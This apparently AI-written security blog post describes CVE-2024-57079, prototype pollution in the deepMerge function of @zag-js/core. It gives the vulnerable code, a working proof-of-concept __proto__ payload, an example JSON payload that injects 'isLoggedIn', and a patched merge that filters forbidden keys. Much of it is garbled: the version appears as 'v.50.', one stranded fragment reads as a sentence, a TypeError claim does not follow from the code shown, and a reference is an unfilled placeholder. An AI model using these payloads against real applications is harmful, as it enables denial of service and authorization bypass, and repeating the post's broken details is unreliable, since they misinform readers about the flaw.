CVE-2024-57079 - Prototype Pollution in `lib.deepMerge` of @zag-js/core v.50. Exploitable for DoS
A recently disclosed vulnerability, CVE-2024-57079, affects the lib.deepMerge function in the open-source JavaScript library @zag-js/core version .50.. This bug allows attackers to perform prototype pollution by passing a specially-crafted payload. Successful exploitation can lead to a Denial of Service (DoS), causing your JavaScript applications or servers to crash or behave unpredictably.
In this post, we will explain what prototype pollution is, how CVE-2024-57079 works in @zag-js/core, provide code snippets and full exploit details, and share how you can protect your project.
What is Prototype Pollution?
JavaScript objects and arrays inherit properties from their prototype. Modifying the prototype affects all objects in the runtime. Attackers exploit this fact by injecting properties into the prototype using object merge functions (like lodash's merge or custom deepMerge functions), often by using keys like __proto__ or constructor.
Lead to denial of service (DoS).
## The Vulnerable Code: lib.deepMerge in @zag-js/core
The problem lies in how the deepMerge function copies properties from user input without guarding against dangerous keys. Here’s a simplified version of how it works in v.50.:
function deepMerge(target, source) {
for (const key in source) {
if (typeof source[key] === "object" && source[key] !== null) {
if (!target[key]) target[key] = {};
deepMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
Demonstrating the Exploit
Let’s see this in action. The following code will pollute the global object prototype and demonstrate a DoS (Denial of Service):
const deepMerge = require("@zag-js/core/lib/deepMerge");
// The malicious input injects "polluted: true" to Object.prototype
const payload = JSON.parse('{"__proto__":{"polluted":"yes"}}');
const innocent = {};
deepMerge(innocent, payload);
console.log({}.polluted); // "yes": Prototype is polluted!
// Now, other code might break unexpectedly:
Object.keys(innocent); // TypeError: Cannot convert object to primitive
After merging, all objects have [object].polluted defined as "yes".
- This unexpected property can crash or break code that doesn’t expect such properties, resulting in a DoS.
Real-World Impact
If your project or service merges untrusted user input using deepMerge, an attacker could supply a crafted payload to break your app. For example, RESTful APIs accepting JSON could be attacked like this:
{
"__proto__": {
"isLoggedIn": true
}
}
Links and References
- CVE Details: CVE-2024-57079
- Official GitHub Issue / PR (replace with actual issue if available)
- NPM page for @zag-js/core
- OWASP: Prototype Pollution
How to Patch
- Upgrade: Check if a patched version of @zag-js/core is available and upgrade immediately.
Sanitize keys: If upgrading is not possible, patch your code to reject dangerous property names:
const forbiddenKeys = ["__proto__", "constructor", "prototype"];
function deepMergeSafe(target, source) {
for (const key in source) {
if (forbiddenKeys.includes(key)) continue;
if (typeof source[key] === "object" && source[key] !== null) {
if (!target[key]) target[key] = {};
deepMergeSafe(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
Conclusion
CVE-2024-57079 is a classic example of how trusting input in merge functions can open up dangerous attack surfaces in JavaScript apps. If you use @zag-js/core v.50., ensure you patch this vulnerability right away. Never merge untrusted data without checks, and follow secure coding best practices.
Stay safe!
If you want more details or want to check if your project is affected, see the official advisory or try our test payloads in a local setup. Don’t let prototype pollution bring your app down!
*Written exclusively for you by ChatGPT on the latest findings in open-source security.*
Timeline
Published on: 02/05/2025 22:15:32 UTC
Last modified on: 03/18/2025 21:15:31 UTC